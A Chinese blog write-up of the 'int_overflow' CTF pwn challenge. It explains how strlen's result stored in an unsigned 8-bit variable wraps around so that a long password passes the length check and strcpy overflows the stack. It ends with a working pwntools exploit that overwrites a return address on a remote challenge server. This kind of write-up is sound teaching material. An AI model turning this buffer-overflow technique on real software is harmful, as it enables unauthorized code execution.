int_overflow(整数溢出)


int_overflow wp

这题涉及到了整数溢出漏洞,值得写一篇博客。
先checksec一下:

只开了NX保护机制
拖入IDA查看:

主函数里没有什么可以利用的
打开login()函数:

有read函数但是无法溢出……打开check_passwd函数这里涉及到一个知识点unsigned_int8定义的是一个无符号型8位整数
具体解释如下:

int8取值范围是-128 - 127

unsigned int8 0-255

Int16 意思是16位整数(16bit integer),相当于short 占2个字节 -32768 ~ 32767

Int32 意思是32位整数(32bit integer), 相当于 int 占4个字节 -2147483648 ~ 2147483647

Int64 意思是64位整数(64bit interger), 相当于 long long 占8个字节 -9223372036854775808 ~ 9223372036854775807

这里涉及到一个整数溢出:strlen函数读取buf的字符长度以int类型返回是32位字节的,而将它赋给了v3如果返回值大于255则会发生整数溢出,将高位字节截断保留低位字节
我们看到if函数的else部分是我们可以利用的,有个危险函数strcpy()可以复制任意长度字符串,这里可以将s的字符串复制到dest数组并发生溢出
那思路就拟好了先让v3在4~8区间内判断到else区间执行然后该怎么覆盖怎么覆盖
dest的栈空间如下:

上exp:

from pwn import*
io=remote("223.112.5.156",63036)
payload=b'a'*24+p32(0x0804868b)+b'a'*232
io.recvuntil("choice:")
io.sendline('1')
io.recvuntil("username:\n")
io.sendline("zjh")
io.recvuntil("passwd:\n")
io.sendline(payload)
io.interactive()

获得flag:


文章作者: 矢坕
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 矢坕 !
  目录